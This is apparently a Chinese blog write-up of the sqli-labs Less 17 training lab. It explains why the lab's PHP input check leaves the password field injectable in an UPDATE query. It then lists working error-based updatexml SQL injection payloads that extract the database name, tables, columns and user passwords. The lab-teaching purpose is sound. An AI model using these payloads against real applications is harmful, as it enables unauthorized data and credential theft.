(手工)【sqli-labs17】update注入:原理、利用过程

目录

推荐:

一、(手工)SQL注入基本步骤:

二、Less17(POST-Update Query -Error Based String)

2.1、简介:(更新注入-单引号)

2.2、第一步:注入点测试

 2.3、第二步:分析过滤

2.4、第三步:暴库

2.5、第四步:爆表名

2.6、第五步:爆字段

2.7、第六步:爆数据


推荐:

【SQL注入】UPDATE、insert、delete注入icon-default.png?t=M666https://blog.csdn.net/qq_53079406/article/details/125670581?spm=1001.2014.3001.5502



一、(手工)SQL注入基本步骤:

第一步:注入点测试

第二步:分析权限、过滤

第三步:爆数据库名

第四步:爆表名

第五步:爆字段名

第六步:爆数据



二、Less17(POST-Update Query -Error Based String)

2.1、简介:(更新注入-单引号)

请求方法:POST

方法:update报错回显

2.2、第一步:注入点测试

在第一个输入框中,输入闭合都失败

在第二个密码输入框中,成功闭合了

 2.3、第二步:分析过滤


function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
 
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
//magic_quotes_gpc = On,magic_quotes_gpc 函数在 php 中的作用是判断解析用户提示的数据
如包括有:post、get、cookie过来的数据增加转义字符“\”
避免数据库语句因为特殊字符引起的污染而出现致命的错误
单引号(’)双引号(”)反斜线(\)NULL(NULL 字符)(字符都会被加上反斜线)
            {
            $value = stripslashes($value);
//stripslashes() 删除由 addslashes() 函数添加的反斜杠
            }
 
        // Quote if not a number
        if (!ctype_digit($value))
//ctype_digit() 判断是不是数字,是数字就返回 true,否则返回 false
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
//mysql_real_escape_string() 转义 SQL 语句中使用的字符串中的特殊字符
            }
        
    else
        {
        $value = intval($value);
//intval() 整型转换
        }
    return $value;
    }
    

但是没有对密码进行限制,可以在password输入框中拼接到SQL语句

所以需要有对的用户名,然后密码后面的验证可以注释掉

2.4、第三步:暴库

已经给出了用户名Dhakkan

aaaaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

爆出数据库(或者)

aaa' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '

2.5、第四步:爆表名

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),0) or '

 

2.6、第五步:爆字段

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),0) or '

 

2.7、第六步:爆数据

' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),0) or '

You can't specify target table 'users' for update in FROM clause

(您无法指定目标表“用户”以获取从子句中的更新)

可能是有权限限制

那就再嵌套一层试试

'or updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1) test ),0x7e),1) or'

只需要修改limit函数的第一个参数就可以

 limit 0,1

0表示开始字符位置,1表示字符间距

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值